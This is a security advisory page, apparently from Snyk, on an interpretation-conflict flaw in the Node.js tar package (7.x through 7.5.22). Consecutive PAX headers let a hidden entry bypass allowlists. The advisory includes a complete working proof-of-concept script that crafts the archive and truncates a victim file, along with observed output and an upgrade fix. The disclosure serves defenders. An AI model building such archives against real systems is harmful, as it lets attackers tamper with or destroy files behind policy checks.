Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade tar to version 8.0.0 or higher.
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Interpretation Conflict via ReadEntry.#slurp() in src/read-entry.ts, which copies pending PAX fields onto an entry without checking the entry type. When a tar archive contains consecutive PAX headers, the first PAX header sets a size=0 field that ReadEntry.#slurp() reapplies to the second PAX entry, producing an inconsistent state where entry.meta is true but entry.size is 0. The Parser then uses the overwritten size value to select its state machine branch, causing the next 512-byte block - which is the second PAX entry's metadata body - to be processed as a real tar header instead of being consumed as metadata. Both tar.list() and tar.extract() expose the smuggled entry, and extraction can create or truncate an existing file inside the configured extraction directory, bypassing archive member allowlists or policy checks applied by other tar implementations.
Create package.json:
{
"private": true,
"type": "module",
"dependencies": {
"tar": "7.5.22"
}
}
Create poc.mjs:
import fs from 'node:fs' import os from 'node:os' import path from 'node:path' import { Header, extract, list } from 'tar'const header = data => { const block = Buffer.alloc(512) new Header(data).encode(block) return block }
const paxRecord = (key, value) => { const payload =
${key}=${value}\nlet length = Buffer.byteLength(payload) + 1 while (Buffer.byteLength(String(length)) + Buffer.byteLength(payload) !== length) { length = Buffer.byteLength(String(length)) + Buffer.byteLength(payload) } return Buffer.from(${length}${payload}) }const firstBody = paxRecord('size', '0') const firstPadding = Buffer.alloc(512) firstBody.copy(firstPadding)
const archive = Buffer.concat([ header({ path: 'pax-1', type: 'ExtendedHeader', size: firstBody.length }), firstPadding, header({ path: 'pax-2', type: 'ExtendedHeader', size: 512 }), header({ path: 'hidden.txt', type: 'File', size: 0, mode: 0o644 }), Buffer.alloc(1024), ])
const file = path.resolve('poc.tar') const cwd = fs.mkdtempSync(path.join(os.tmpdir(), 'node-tar-poc-')) const victim = path.join(cwd, 'hidden.txt') fs.writeFileSync(file, archive) fs.writeFileSync(victim, 'TRUSTED CONTENT\n')
const entries = [] await list({ file, onReadEntry: entry => { entries.push(
${entry.type}: ${entry.path}) entry.resume() }, })
console.log('listed:', entries) console.log('before:', JSON.stringify(fs.readFileSync(victim, 'utf8'))) await extract({ file, cwd }) console.log('after:', JSON.stringify(fs.readFileSync(victim, 'utf8')))
Run:
npm install
node poc.mjs
Observed with Node.js v24.5.0:
listed: [ 'File: hidden.txt' ]
before: "TRUSTED CONTENT\n"
after: ""
The same archive produces no member listing with GNU tar, is rejected as a damaged archive by libarchive/bsdtar, and is rejected as a non-tar archive by Python tarfile. Both asynchronous and synchronous node-tar extraction truncate hidden.txt.
The issue affects all tested 7.x releases (7.0.0 through 7.5.22) but did not reproduce in 6.2.1.
Note: The PoC states it was observed with Node.js v24.5.0 and tar 7.5.22.